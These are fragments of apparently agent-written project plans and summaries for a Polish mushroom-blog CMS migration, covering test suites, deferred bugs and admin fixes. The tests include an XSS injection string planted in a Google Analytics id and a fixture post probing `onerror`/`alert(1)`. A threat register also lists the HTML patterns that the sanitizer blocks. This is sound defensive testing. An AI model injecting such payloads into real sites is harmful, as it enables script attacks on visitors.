+**Every piece of Phase 16 code now has automated tests. A `node --test` SSR test boots the built grzybyfunkcjonalne.pl server against the fixture Journal API and checks every PHP URL form, the locale, analytics and the HTML gate. 78 layer util tests and 9 app util/content tests run without a build. Go tests cover both grzyby import commands against a throwaway ICU database and the `/gfadmin` boot. `scripts/check-phase16.sh --all` runs everything and ends with "Phase 16 gate passed".**

+  - 23 URLs for their status, including `/blog?page=0|abc|3`, `/404`, `/error`, `/rss`, `/feed`, `/en`, `/blog/tag/anything`;
+  - static pages over `/:category`, the `?page=2` canonical and "Strona 2" title, the post title suffix "| Grzyby Funkcjonalne";
+  - the empty-state copy on `/amanita-muscaria`, "Cordyceps w pigułce" before the first post card;
+  - the new fixture post `test-niebezpieczny-wpis`: the blocked class, no `onerror`, no `alert(1)`;
+  - XFF `198.51.100.9` reaching the fixture API, `include_empty=1` on every categories request;
+  - RSS content type, sitemap entries, no `<form>`;
+  - three servers for D-23: default (no gtag), `G-MLSV7WJ6W4` (loader and config call), malformed (no gtag).
+  - A mutation run (gate forced open in a copy of the layer in `node_modules`) made the T-16-01 case fail, so the case depends on the gate.
+- **Layer util tests.** Seven files, 78 tests: `routes`, `client` (fake fetcher), `pagination`, `htmlGate` (the six Go `FormatHTML` cases plus upper case), `sitemap`, `seo`, `i18n` parity. No util needed a fix, so there is no new layer tag.
+- **App util and content tests.** `analytics.test.ts` and `content.test.ts`: GA ids, 16 FAQ entries, menu kinds, and every `t()` key in the templates resolving against `pl.json` or the layer's `journal.*` strings.
+- **Go tests (D-21, D-22, D-09, T-16-10, T-16-12, T-16-23).**
+  - `testmain_test.go` creates `grzyby_test_<hex>` with `LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL'`, migrates through `lagoon.Migrate` with translate and Journal activated, and drops only that database.
+  - Featured images: `TestReadFeaturedImageMap`, `TestValidDiskName`, `TestFeaturedImageSourceEscape` (pure, with a trap database), `TestImportFeaturedImagesRequiresInputs`, `TestImportFeaturedImages`, `TestImportFeaturedImagesFailures`, `TestImportFeaturedImagesDryRun`.
+  - Categories: `TestReadCategoryMap`, `TestImportCategories`, `TestImportCategoriesDryRun`.
+  - Host: `TestBackendURIGfadmin`, `TestGrzybyCommandsRegistered`.
+- **Gate (T-16-24).** `scripts/check-phase16.sh` has seven stages. Its two detectors (go test JSON and node TAP) each refuse planted fail, skip, todo, zero, no-tests, race and missing-name inputs in `--self-test`.
+- **Validation.** 16-VALIDATION.md rows are bound to 16-01-T2 … 16-05-T3 with threat refs and are all green. Wave 0 is ticked, and `nyquist_compliant: true`.

+2. **Task 2: layer util tests and app util/content tests.**
+   - Layer `a4dca42` (test), pushed to main. No tag, since there was no runtime change.
+   - App `5b10bc0` (test), pushed.
+   - Host `a60a031` (chore: gitlink), pushed.
+3. **Task 3: Go tests, gate and sign-off.**
+   - Host `87e5353` (test: grzyby command and boot tests), pushed.
+   - summercms.go `c5e03f4` (test: Phase 16 gate).

+## Files Created/Modified
+
+See `key-files`. Notes:
+
+- `tests/fixtures/api/posts.json` gains post 15, `test-niebezpieczny-wpis`. It is dated 2024-01-15 and has no category, so the homepage's latest posts, the category listings and the 2-page `/blog` stay as they were.
+- `expect.txt` gains its smoke line (36 checks now).
+- The host README documents `go -C plugins/grzyby test ./... -race` and `GRZYBY_TEST_ADMIN_DSN`.
+
+## Decisions Made
+
+See `key-decisions` in the frontmatter.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 1 - Plan data] The malformed GA id is in the page as serialized runtime config**
+- **Found during:** Task 1 (first SSR test run: `the malformed id reached the page`).
+- **Issue:** Nuxt writes `runtimeConfig.public` into `window.__NUXT__.config`, so `gaId:"G-X');alert(1)//"` appears once as a double-quoted JS string literal. There, the single quote cannot end the string, so nothing executes. The plan's literal "no alert(1)" cannot hold for any public config value.
+- **Fix:** The test asserts that there is no `googletagmanager`, no `gtag(`, that the id appears as `gaId:"…"` (JSON-encoded), and that `alert(1)` appears nowhere else on the page.
+- **Files modified:** `tests/ssr.test.ts`.
+- **Commit:** `269ba3d`.
+
+**2. [Rule 3 - Blocking] Host boot tests need the JWT secrets**
+- **Found during:** Task 3 (`TestGrzybyCommandsRegistered`: `golem15.user: jwt.secret is empty`).
+- **Fix:** A `setTestSecrets` helper, used by both new tests. They load the committed config through the existing `loadCommittedConfig` copy instead of `compass.Load("config")`, so a local `.env` cannot override `backend.uri` (16-03 decision).
+- **Commit:** `87e5353`.
+
+**3. [Rule 3 - Blocking] `go mod tidy` cannot run offline for the test dependencies**
+- **Issue:** Tidy wants the test dependencies of testcontainers' own dependencies (rapid, pty, objx), which are not in the module cache.
+- **Fix:** I ran `go get` of the pinned versions (v0.44.0, pgx v5.10.0, gorm postgres v1.6.3, translate), then `go mod tidy -e`. `go vet` passes in `-mod=readonly`, workspace and host mode.
+- **go.mod changes:** The redundant `toolchain go1.27.0` line was dropped, because the go command rejects it as an update under `-mod=readonly`.
+- **Commit:** `87e5353`.
+
+**4. [Scope addition] Extra tests beyond the behavior list**
+- I added `TestImportFeaturedImagesRequiresInputs`, `TestImportFeaturedImagesFailures` (also covering base slug without export, sniff mismatch and size mismatch) and `TestImportCategoriesDryRun`.
+- Layer tests cover `paginationWindow`, `isNotFound`, `encodeSlugPath`, `htmlToText` and `truncateText`.
+- The SSR test also asserts `include_empty=1` on every categories request.
+
+**5. [Plan wording] The gate parses `go test -json`, not `-v` text**
+- **Issue:** The plan describes grepping `--- FAIL`, `--- SKIP` and PASS lines. The gate follows `check-phase15.sh` instead: it reads `go test -json -v` events. That is the same fail-closed contract (fail, skip, no tests to run, DATA RACE, missing named PASS) without text-format fragility.
+- **Node runs:** They use a TAP detector with named tests per stage.
+
+---
+
+**Total deviations:** 5. That is 1 plan-data correction, 2 blocking fixes and 2 scope or wording adjustments.
+**Impact on plan:** Every named artifact, test name, env var and gate line exists. No runtime code changed in any repo.
+
+## Issues Encountered
+
+- **Postgres.** Docker is unreachable for user `golem`, and `GRZYBY_TEST_ADMIN_DSN` was not set.
+  - I used the sanctioned fallback: a throwaway PostgreSQL 18.6 cluster (`initdb`, ICU pl-PL, trust auth) on 127.0.0.1:55495 in the scratchpad.
+  - It was passed as `GRZYBY_TEST_ADMIN_DSN` through the environment only.
+  - The harness needs no code override, so no repo file was touched for it.
+  - The cluster was stopped and deleted afterwards.
+  - The testcontainers path is untested here (deferred-items.md).
+- **pnpm.** It ran with `TMPDIR` in the scratchpad and the project-drive store, as in 16-01..16-04.
+- **summercms.go Go code.** It is unchanged by this plan, which added a shell script and docs only. I did not run `go test ./...` there, because another session has uncommitted edits in that tree.
+- **Concurrent work.**
+  - summercms.go has another session's uncommitted `ROADMAP.md` change and untracked phase 16.1/16.2/18.1 directories. They were left alone.
+  - `.planning/state.json` stays unstaged.
+  - The host's untracked `.gsd/` was left alone.
+
+## Known Stubs
+
+None. The plan adds tests, fixtures and docs only.
+
+## Threat Flags
+
+None. No runtime surface was added.
+- **T-16-23:** the harness drops only `grzyby_test_<hex>`; after the run the cluster listed only `postgres`, `template0` and `template1`.
+- **T-16-SC:** testcontainers-go v0.44.0 is the only Go addition, and no npm package was added.
+
+## User Setup Required
+
+For the full gate on another machine:
+- set `GRZYBY_TEST_ADMIN_DSN` (see 16-USER-SETUP.md and the host README), or make Docker available;
+- have `nginx` and `pnpm` on the PATH.
+
+## Next Phase Readiness
+
+- Phase 16 is complete: all five plans have SUMMARYs, VALIDATION is signed off, and the gate passes.
+- Still open for `/msd-verify-work`:
+  - the staging visual review (16-04 D5);
+  - the testcontainers run;
+  - the deferred items (layer XFF under swr, `cta.png` size, the framework DB-for-plugin-commands gap, the fileblob `no_tmp_dir` default).
+
+## Self-Check: PASSED
+
+- FOUND: all 15 created files and the 12 modified files listed in `key-files`.
+- FOUND commits:
+  - app `269ba3d` and `5b10bc0` on origin/main;
+  - layer `a4dca42` on origin/main;
+  - host `cae7fd1`, `a60a031` and `87e5353` on origin/master;
+  - summercms.go `c5e03f4` and `a8c65bc`.
+- Plan verification:
+  - layer `pnpm test` gives 78/78;
+  - app build plus `pnpm test` gives 25/25;
+  - Go plugin `-race` gives 10 PASS;
+  - host gives 4 PASS;
+  - `bash scripts/check-phase16.sh --all` ends with "Phase 16 gate passed".

 - **vue-journal-layer: visitor address lost under Nitro swr route caching.** `routeRules` swr renders a page from a copy of the request that keeps only `varies` headers, so the layer's `useJournalApi` reads no `x-forwarded-for` and forwards only the Nuxt peer. Every SSR cache miss would then share one Go rate-limit bucket (RESEARCH Pitfall 5). The site app works around it with `server/plugins/client-address.ts` (records the address in `event.context` on the Nitro `request` hook) and an app-level `useJournalApi` override. Fix it in the layer (a layer Nitro plugin plus the composable reading `event.context`), release a new tag, bump the app and delete the app override. The layer's `/rss.xml` and sitemap source have the same gap on their cache misses (once per TTL).
 - **vue-journal-layer smoke tool sends no Accept header.** Undici's `fetch` sends `sec-fetch-mode: cors`, so Nuxt answers errors with JSON and an expectation such as `404 /404 contains=...` cannot see the error page. The app works around it with `server/plugins/html-errors.ts`, which treats page paths as HTML requests. An `Accept: text/html` default in `testing/smoke-ssr.mjs` would let other apps check error copy without such a plugin.
 - **`public/images/cta.png` is 5.5 MB** (1792×1024 PNG, kept byte for byte from the live site as the plan required). It is the CTA band and blog hero background. A WebP derivative (the hero photo is 0.47 MB as WebP) would cut page weight; decide before the production cutover.
+
+## From 16-03 (sm-grzybyfunkcjonalne-app host, runbook and deploy)
+
+- **summercms.go: the generated main.go publishes no database for plugin commands.** `lagoon`, `cabana` and `surf serve` open the database themselves (`lagoon.OpenFromApp`), but a plugin's `pact.HasCommands` command finds no `*gorm.DB` on the app. So `journal:import-posts`, `journal:export-posts` and `user:token:*` stop with "database is not configured" in every `summer build` host (fonoteka.go's hand-written `app.go` publishes it). The host works around it with `grzyby:import-posts` and a `lookupDB` helper that open and publish the database through lagoon. Fix it in the framework, for example as a lazy publish before plugin command `Run`, so the wrapper can go.
+- **sm-journal-plugin: `journal:import-posts` rejects `"translations": []`.** The PHP exporter writes a post without translations as `[]` (json_encode of an empty PHP array), and the Go `PostFile.Translations map[string]map[string]any` fails to unmarshal it ("Invalid JSON"). This affects 5 of the 105 grzybyfunkcjonalne export files; 2 of them are published, including the live post `ekstrakt-z-turkey-tail`. `scripts/migrate.sh` imports from a copy in which only that empty array becomes `{}`. The importer should accept an empty array as an empty map (PHP parity).
+- **`first-journal-post` is published in the export but not on the live site.** "First journal post" was published 2026-02-23. It is absent from the live sitemap, so Go serves 63 published posts where the live site lists 62. Unpublish or delete it after the staging import (16-04), or confirm it should stay.
+- **The UAT-host image references are not in the imported bodies.** The 2 `https://gf.uat.golem15.com/storage/...` references sit only in the base (older) content of `wprowadzenie-do-grzyba-cordyceps`. With pl as the default, the pl body replaces the base text, so the gap report shows 1 export file and 0 imported bodies. Nothing is broken on the new stack. The report keeps listing the export file.
+- **nginx `listen ... http2` is deprecated on nginx 1.25.1 and newer** (a warning, not an error). The staging vhost keeps the summercms.io form because the PHP server's nginx version is unknown. Switch to `http2 on;` once 16-04 confirms the version. *Resolved in 16-04 (b488fdd): the server runs nginx 1.26.3 and the vhost uses `http2 on;`.*
+- *`first-journal-post`: resolved in 16-04 for staging. `migrate.sh --skip first-journal-post` leaves it out of the import, so staging serves the 62 live posts. The export file itself is unchanged.*
+
+## From 16-04 (staging deploy)

+- **summercms.go `modules/lagoon/attach`: file buckets write temp files to `os.TempDir()`.** gocloud's fileblob creates the temp file in `/tmp` and renames it into the bucket. On a server whose `/tmp` is tmpfs (the grzybyfunkcjonalne staging server), every write fails with "invalid cross-device link". The host sets `?no_tmp_dir=true` in `config/storage.yaml` (sm-grzybyfunkcjonalne-app 6ef012e). `normalizeBucketURL` could default `no_tmp_dir` for `file://` the same way it defaults `create_dir`, so no host meets this on its first upload. Not changed here: another session owns `modules/`.
+- **Visual review of staging (16-04 Task 3 human-check) is pending.** The automated checks all pass. A human still opens the staging pages with the UAT credentials and compares them with the live site (design, Polish copy, featured images, inline media). The admin password step of the original human-check no longer applies: the operator created the admin with a password piped from a file outside the deploy.
+- **The plan's verify commands curl `$STAGING_URL` from the executor's machine,** but staging keeps the server's UAT basic-auth gate (operator decision), so they answer 401 from outside. They ran on the server through the loopback bypass instead (DEPLOY.md, "Smoke"). A later plan that checks staging from outside needs the credentials, or should run on the server the same way.
+
+## From 16-05 (unit tests and phase gate)
+
+- **The testcontainers path of the grzyby console test harness has not run.** Docker is unreachable for user `golem`, so `plugins/grzyby/console` ran through `GRZYBY_TEST_ADMIN_DSN` against a throwaway Postgres 18.6 cluster (initdb, ICU) only. Whether `postgres:16-alpine` accepts `ICU_LOCALE 'pl-PL'` in the harness's `CREATE DATABASE` is unverified. Run `go -C sm-grzybyfunkcjonalne-app/plugins/grzyby test ./... -race` once with Docker and without the DSN; if the image lacks the pl-PL ICU data, switch the harness image or drop the ICU clause for the container path.

+## Phase Goal
+
+ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT: (1) list search no longer fails with "Server error" (search across a belongsToMany relation built a hasMany join); (2) list sort and filters are remembered after opening a record and going back; (3) the post form shows the stored content; (4) the post form shows the stored excerpt. Then release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
+
+This plan's slice (D-05: "01 all fixes"): every code fix, each with a smoke test. Release and redeploy are plan 02; full unit coverage is plan 03.
+
+## Spec-less probe fallback
+
+Visible skip: the phase has no REQUIREMENTS.md IDs to probe (Requirements: TBD), so no probe predicates are generated this run. CONTEXT D-01..D-05 and the RESEARCH root causes are the source of truth. The edge cases RESEARCH names (polymorphic and soft-deleting relations, self-referencing relations, stale stored list state, out-of-range restored page, the user clearing every list control, same-path navigation) are authored into the task behaviors and `must_haves.truths`; the kept must-NOTs are in `must_haves.prohibitions`.
+
+## Artifacts this phase produces
+
+- summercms.go `modules/cabana`: EXISTS-based relation search and correlated to-many sort in `query.go`; default-locale-first `meta.enabledLocales` in `http.go`; new test files `query_relation_test.go` and `locale_order_test.go`; README and `docs/backend/{lists-and-filters,forms}.md` sentences.
+- summercms.go admin SPA: new `admin/src/state/listState.ts`; list-state entry logic in `admin/src/views/ListView.vue`; logout clears stored list queries (`admin/src/state/useAuth.ts`); rebuilt `modules/boardwalk/dist/`; the `scripts/check-phase10.sh` browser-storage allowlist names `listState.ts`.
+- sm-journal-plugin: `classes/format_html.go` renders raw HTML behind the unchanged gate; a smoke test; README sentence. Committed on `main`, not pushed (plan 02 pushes).
+- No server-side table, migration, route or OpenAPI change (revised D-01).
+
+<objective>
+Fix the four UAT defects in code (D-05 plan 01): relation search and to-many sort through subqueries built from GORM's parsed relationship (D-02), the default content locale first in form locales so the form shows stored content and excerpt (D-03), raw HTML kept in content_html so an admin save no longer destroys imported posts (D-03), and list state kept in the URL and browser storage (D-01).
+
+Purpose: UAT admins can search, filter and return to the Journal posts list and edit imported posts without losing data.
+Output: four commits in summercms.go (cabana search/sort, cabana locales, admin list state with rebuilt dist, nothing else) and one commit in sm-journal-plugin.

+
+RESEARCH caveat: its list-state design (a backend_list_states table, a GET list-state route, a migration, an OpenAPI regeneration) is superseded by the revised D-01 (URL plus browser storage). Ignore those parts of RESEARCH and PATTERNS.
+
+Commit rules: no co-author tags; one logical change per commit; planning docs and code in separate commits; stage every file by explicit path (never `git add -A` or `git add .`; summercms.go has untracked `.msd/` and a modified `.planning/state.json`, sm-journal-plugin has an untracked `go.work.sum`, none of which belong in these commits).
+
+Docker is not usable on this machine, so `go test ./modules/cabana` without `-run` fails on the Postgres-backed tests for reasons unrelated to this plan. Every gate below runs the named pure tests.

+  <behavior>
+    - GET list with search=fungi on a controller whose list has a searchable belongsToMany column (tags, select name) answers 200; the recorded count statement contains an EXISTS subquery over the pivot table aliased cabana_p0 joined to the related table aliased cabana_r0, correlated by the pivot owner key to the main table primary key, and contains no LEFT JOIN.
+    - GET list with sort=tags and dir=desc records an ORDER BY that holds a string_agg subquery with DESC followed by the main table primary-key tiebreak.
+  </behavior>
+  <action>Run the precondition check first (D-02). Then edit modules/cabana/query.go:
+
+Add one unexported builder (for example relationSubquery) used by both search and sort. It takes the db, the model, the Go field name from relationFieldName, the physical column from listRelationColumn and an alias index n. It parses the model with a fresh gorm.Statement{DB: db} and Parse(model), reads Schema.Relationships.Relations[field] and never derives a table, pivot or key name from a naming convention (D-02, README rule). It refuses with listInvalid (field "search" or "sort", the caller passes it) when the relation is missing, its FieldSchema lacks the column (FieldSchema.LookUpField), the column fails identifier(), any reference is polymorphic (non-empty PrimaryValue), or the type is not one of schema.Many2Many, schema.HasMany, schema.HasOne, schema.BelongsTo. The related table is aliased cabana_r(n) and the pivot cabana_p(n), so a self-referencing relation stays correct; the main table is the parsed Schema.Table, left unaliased so it names the outer FROM. Correlation by type: Many2Many joins rel.JoinTable.Table AS the pivot alias to the related alias on the references whose OwnPrimaryKey is false (pivot foreign key equals related primary key) and correlates the references whose OwnPrimaryKey is true (pivot foreign key equals main primary key); HasMany and HasOne (OwnPrimaryKey true) correlate related foreign key to main primary key; BelongsTo correlates related primary key to main foreign key. When the related schema has a field of type gorm.DeletedAt, add that column IS NULL on the related alias (Winter whereHas applies the related soft-delete scope). Quote every identifier with quotedIdent and qualifiedColumn. The builder returns the FROM part and the WHERE correlation and carries no bound values.
+
+applyListSearch: for a column with relation, append EXISTS (SELECT 1 FROM the builder's FROM WHERE the correlation AND LOWER(CAST(related alias.column AS TEXT)) LIKE ? ESCAPE backslash) to the existing OR group with the same bound pattern own columns use; drop the association join and its bookkeeping map. This applies to every relation type, so the count query never gains an outer JOIN (RESEARCH Pitfall 1). Own-column search is unchanged.
+
+applyListOrder: change it to return (*gorm.DB, error) and propagate the error from ExecuteList. Keep the existing association join and column order for BelongsTo and HasOne columns (covered by the existing artist sort). For HasMany and Many2Many columns order by the correlated scalar subquery (SELECT string_agg(CAST(related alias.column AS TEXT), ', ' ORDER BY CAST(related alias.column AS TEXT)) FROM ... WHERE correlation), which is Winter's group_concat sort and matches what relatedSelectMany displays. Emit it as a clause.OrderByColumn whose clause.Column has Raw true and whose Desc follows the request, so the existing primary-key tiebreak OrderByColumn merges into the same ORDER BY (a clause.OrderBy carrying an Expression is replaced when the tiebreak column merges into it).
+
+Create modules/cabana/query_relation_test.go (package cabana, no Docker). Fixtures: relPost (table cabana_rel_posts: ID, Title, AuthorID pointer, Author relAuthor belongsTo through AuthorID, Tags []relTag with gorm tag many2many:cabana_rel_post_tags, Notes []relNote has-many through PostID), relTag (cabana_rel_tags: ID, Name), relNote (cabana_rel_notes: ID, PostID, Body), relAuthor (cabana_rel_authors: ID, Name); a relController with ConfigDir controllers/widgets so filterFS applies and NewRecord returning a relPost pointer; columns.yaml with title (searchable), tags (relation tags, select name, searchable, sortable), notes (relation notes, select body, searchable), author (relation author, select name, searchable, sortable); config_list.yaml with showSorting true. A helper opens a DryRun GORM db with the postgres dialector on a DSN that is never dialed (host 127.0.0.1 port 1; gorm.Config DryRun true, DisableAutomaticPing true) and a recording logger (a gorm logger.Interface whose Trace appends the SQL returned by its callback and whose LogMode returns itself). A second helper builds a *service like newListService does, but with backpack.New(nil), Publish of the DryRun db and the compiled list registered as acme.demo.widgets (the id controllerRequest targets); plan 03 and Task 2 reuse both helpers. TestListRelationSearchSmoke implements the behavior above through getList.
+
+docs/backend/lists-and-filters.md: one sentence after the column options paragraph: a searchable relation column matches a record when any related record matches (belongsTo, hasOne, hasMany and belongsToMany, each through a subquery, so a record is listed and counted once), and a sortable hasMany or belongsToMany column sorts by its comma-joined values. Use acme/blog names only. The module README needs no change (no exported identifier, config key or command changed).

This is the D-03 fix: the SPA's MLField and FormView already open on enabledLocales[0], and hydrateMLRecord already puts the host column (content, excerpt, title, slug) under the default locale, so the form shows the stored values.

+
+Create admin/src/state/listState.ts, the only module besides useSidebar.ts that touches browser storage. Exports: LIST_STATE_PREFIX equal to summer-admin.list: (the key is the prefix plus the controller id, one key per list; Claude's discretion on naming, following SIDEBAR_KEY); readListState(controllerId) returning a ListQuery: it reads the key, JSON-parses it, accepts only a plain object whose values are strings, and passes it through parseListQuery so malformed stored values are dropped exactly like a hand-edited URL; anything else removes the key and returns an empty query; writeListState(controllerId, query) stores JSON of toListQuery(query) when listQueryKey(query) differs from the empty query's key and removes the key otherwise, so an empty list never leaves an entry; clearListStates() removes every key with the prefix. Wrap every storage access in try/catch like useSidebar.ts: disabled or full storage is a no-op and the URL still carries the state.
+
+admin/src/views/ListView.vue: keep the immediate watch on listQueryKey(query) but make its handler decide before any list request. When the current query is empty and readListState(controllerId) is non-empty, call router.replace with path route.path and query toListQuery(stored) and return without loading (the watch runs again with the restored query). Otherwise call writeListState(controllerId, query.value) (the URL wins), then clear the selection, sync searchText and call loadList as today. replaceQuery calls writeListState with the next query before router.replace, so a user who clears every control stores the empty state and the following empty-query run loads unfiltered instead of restoring. The same handler covers navigating to the same list while it is filtered: the query empties without replaceQuery and the stored query comes back. In loadList, after the generation check: when the response status is 422, writeListState(controllerId, an empty query) so a stale stored filter or sort never sticks; when meta.last_page is at least 1 and meta.page is above it, replaceQuery with the current query and page set to meta.last_page. FormView is not changed: its back, cancel, save-and-close, delete and redirect navigation goes to the bare list path, and this entry restore puts the stored query into the URL before the first list request, which is how the form and the navigation return to the list with its query (D-01).
+
+admin/src/state/useAuth.ts: logout calls clearListStates() in its finally block next to clearUser(), so the next admin on the same browser sees none of the previous searches.
+
+admin/src/state/useSidebar.ts: rewrite the header sentence that says nothing else is ever written to browser storage so it names listState.ts as the only other writer (list query parameters only, never tokens or record data).
+
+scripts/check-phase10.sh: in the hygiene storage rule allow admin/src/state/listState.ts in addition to useSidebar.ts (two grep -v path prefixes) and update its comment and message to name both files; the self-test plant under admin/src/__plant must still be refused.
+
+admin/tests/list/ListView.test.ts: add the two smoke cases from the behavior list, importing writeListState and readListState from ../../src/state/listState (this also satisfies the hygiene rule that every source file is imported by a test). Full coverage is plan 03.

+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Admin SPA → cabana list API | search, sort, dir, page, per_page and filter[name] come from the URL or browser storage and are untrusted |
+| Browser storage → ListView | a stored list query may be stale, hand-edited or written by another script on the admin origin |
+| Admin author → content_html → public site | post bodies with raw HTML are stored and served through the Journal API to the public Nuxt site |
+| Shared browser between admins | stored list queries outlive a session unless cleared |
+
+## STRIDE Threat Register

+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.1-01 | Tampering (SQL injection) | modules/cabana/query.go relation subquery builder | high | mitigate | Relation and column names come only from the compiled list schema and GORM's parsed relationship (LookUpField, identifier()); every identifier is quoted through the dialector (quotedIdent/qualifiedColumn); the search pattern is a bound parameter with LIKE escaping; unknown or polymorphic relations are refused with 422 before any SQL runs; permission is still checked by protect() before ExecuteList |
+| T-16.1-02 | Tampering / Elevation (stored XSS) | ../sm-journal-plugin/classes/format_html.go | medium | mitigate | rejectUnsafe stays after the now-unsafe render on every write path (admin, import, API) and refuses script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs; authors are authenticated admins with the journal posts permission; the admin preview (cabana.RenderMarkdown, v-html) stays safe-mode; the public layer keeps its own HTML gate (T-16-01). Residual (accepted, PHP parity): inert tags such as style, footer or form pass, which PHP's Html::clean would have stripped for admins without unsafe-markdown rights |
+| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query parameters are stored (no tokens, no record data) under summer-admin.list: keys; logout clears them; the check-phase10.sh hygiene allowlist confines browser storage to useSidebar.ts and listState.ts |
+| T-16.1-04 | Tampering | restored list state | low | mitigate | Stored values pass through parseListQuery (drops malformed page, dir, empty filters); the server re-validates every parameter against the compiled schema and answers 422; a 422 removes the stored state so it cannot stick |
+| T-16.1-05 | Denial of Service | correlated EXISTS / string_agg subqueries | low | accept | One subquery per searchable relation column per row, bounded by the page and by pivot primary keys; admin-only route |
+| T-16.1-SC | Tampering | npm/go installs | high | mitigate | No package is installed: github.com/yuin/goldmark/renderer/html is a package of the already-required goldmark v1.8.6 (RESEARCH Package Legitimacy Audit: no packages); no npm dependency is added; go.mod and package.json stay unchanged (Task 3 acceptance) |

+
+# Phase 16.1 Plan 01: Journal admin fixes Summary
+
+**Fixed the four UAT defects in the Journal posts admin:**
+- **Relation search:** list search runs a correlated EXISTS subquery whose pivot, key and table names come from GORM's parsed relationship (`Schema.Relationships.Relations`), and to-many sort orders by a `string_agg` subquery.
+- **Form locale:** `meta.enabledLocales` lists the default content locale first.
+- **Raw HTML:** goldmark renders with `html.WithUnsafe()` behind the unchanged XSS gate.
+- **List state:** each list's query is kept in the URL and in browser storage.
+
+## Performance
+
+- **Duration:** 11 min
+- **Started:** 2026-10-09T18:53:15Z
+- **Completed:** 2026-10-09T19:04:24Z
+- **Tasks:** 4
+- **Files modified:** 17 in summercms.go (including the dist bundle) and 3 in sm-journal-plugin
+
+## Accomplishments
+
+- **Relation search (D-02).** Search over a belongsToMany column now answers 200. The count query reads `EXISTS (SELECT 1 FROM "<pivot>" AS "cabana_p0" JOIN "<related>" AS "cabana_r0" ON ... WHERE "cabana_p0".<owner fk> = "<main>"."id" AND LOWER(CAST(...)) LIKE ?)` and has no outer JOIN. hasMany, hasOne and belongsTo search use the same EXISTS form.
+  - A record that matches through several related rows is counted and listed once.
+  - Unqualified scope predicates (`id IN (...)`, `user_id = ?`) stay unambiguous.
+  - A soft-deleting related model adds `deleted_at IS NULL`, matching Winter's whereHas.
+  - Polymorphic relations and unknown related columns answer 422.
+- **Relation sort (D-02).** A hasMany or belongsToMany column sorts by `(SELECT string_agg(..., ', ' ORDER BY ...) FROM ... WHERE <correlation>)`, followed by the primary-key tiebreak. belongsTo and hasOne sorts keep the association join.
+- **Form locale (D-03).** `enabledContentLocales` moves `TranslationWriter.DefaultLocale` to index 0, so MLField and FormView open on the locale whose values are in the host columns (content, excerpt, title, slug).
+- **Raw HTML (D-03).** sm-journal-plugin `FormatHTML` passes raw HTML through, as Winter does. Admin saves, imports and Journal API writes no longer replace imported bodies with `<!-- raw HTML omitted -->`.
+  - `rejectUnsafe` still runs after the render.
+  - `cabana.RenderMarkdown` (the admin preview) is untouched.
+- **List state (D-01).** The list query is stored per list under `summer-admin.list:<controller id>`.
+  - A list entered without list params restores the stored query into the URL before its first list request. A URL with list params wins and overwrites the stored query.
+  - A 422 forgets the stored query, and a page past `last_page` is clamped to the last page.
+  - Logout clears every stored list query.
+
+## Task Commits
+
+summercms.go (master, not pushed):
+
+1. **Task 1: Tracer, relation search and sort through subqueries:** `06d75cb` (fix)
+2. **Task 2: Default content locale first in enabledLocales:** `bd8626e` (fix)
+4. **Task 4: List state in the URL and browser storage, rebuilt dist:** `9cac45c` (fix)
+
+sm-journal-plugin (main, not pushed; plan 02 pushes):
+
+3. **Task 3: Keep raw HTML in content_html behind the safety gate:** `528d2d8` (fix)
+
+Each task is one commit with the message the plan named; the plan specifies one commit per task. RED was shown before each implementation:
+- Tasks 1, 2 and 3: the new test failed on its assertion against the old code (the broken `"Tags"."rel_post_id"` join, `[en pl]`, and `<!-- raw HTML omitted -->`).
+- Task 4: the two new vitest cases were run against the HEAD `ListView.vue` and failed on their assertions.
+
+## Files Created/Modified
+
+- `modules/cabana/query.go`: `relationSubquery` / `relationSQL`, EXISTS search, to-many `string_agg` sort, and `applyListOrder` now returns an error.
+- `modules/cabana/query_relation_test.go`: relation fixtures, the DryRun db and recording logger, `newDryRunListService`, and `TestListRelationSearchSmoke`.
+- `modules/cabana/http.go`: `enabledContentLocales` puts the default locale first.
+- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirstSmoke`.
+- `modules/cabana/README.md`, `docs/backend/forms.md`: default locale first.
+- `docs/backend/lists-and-filters.md`: relation search and to-many sort semantics.
+- `admin/src/state/listState.ts`: `LIST_STATE_PREFIX`, `readListState`, `writeListState` and `clearListStates`.
+- `admin/src/views/ListView.vue`: restore before the first request, the URL wins, 422 forgets the state, page clamp.
+- `admin/src/state/useAuth.ts`: logout clears list states.
+- `admin/src/state/useSidebar.ts`: header comment names `listState.ts` as the only other storage writer.
+- `admin/tests/list/ListView.test.ts`: the two D-01 smoke cases.
+- `admin/tests/smoke/list.smoke.test.ts`: `beforeEach` clears list states (deviation 1).
+- `scripts/check-phase10.sh`: storage allowlist now includes `listState.ts`.
+- `modules/boardwalk/dist/`: rebuilt SPA.
+- `../sm-journal-plugin/classes/format_html.go`: `html.WithUnsafe()`, variables renamed so nothing shadows the import.
+- `../sm-journal-plugin/classes/format_html_test.go`: `TestFormatHTMLKeepsRawHTML`.
+- `../sm-journal-plugin/README.md`: Posts bullet.
+
+## Decisions Made
+
+- All relation types are searched through EXISTS, not only to-many ones, so the count query never gains a JOIN (RESEARCH Pitfall 1).
+- Relation sort validates through the same builder, so a bad related column or a polymorphic relation answers 422 on sort as well as on search.
+- The related column is resolved with `FieldSchema.LookUpField` and emitted by its `DBName`.
+- The stored list state uses the flat URL form (`toListQuery`) and is read back through `parseListQuery`, so stale or tampered values are dropped exactly like a hand-edited URL.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] List smoke tests leaked list state between tests**
+- **Found during:** Task 4
+- **Issue:** `admin/tests/smoke/list.smoke.test.ts` has its own `beforeEach`, which does not clear browser storage. Once lists remember their query, a filter set by an earlier test was restored in "hides the filter bar without filters...". That test then saw `filter[created]` and `filter[maker]` in the URL and failed.
+- **Fix:** the file's `beforeEach` calls `clearListStates()`, so every test starts from a clean list. The file is not in the plan's `files_modified`; it was staged by explicit path in the Task 4 commit.
+- **Files modified:** `admin/tests/smoke/list.smoke.test.ts`
+- **Verification:** the full vitest suite passes (75 files, 1106 tests).
+- **Committed in:** `9cac45c`
+
+---
+
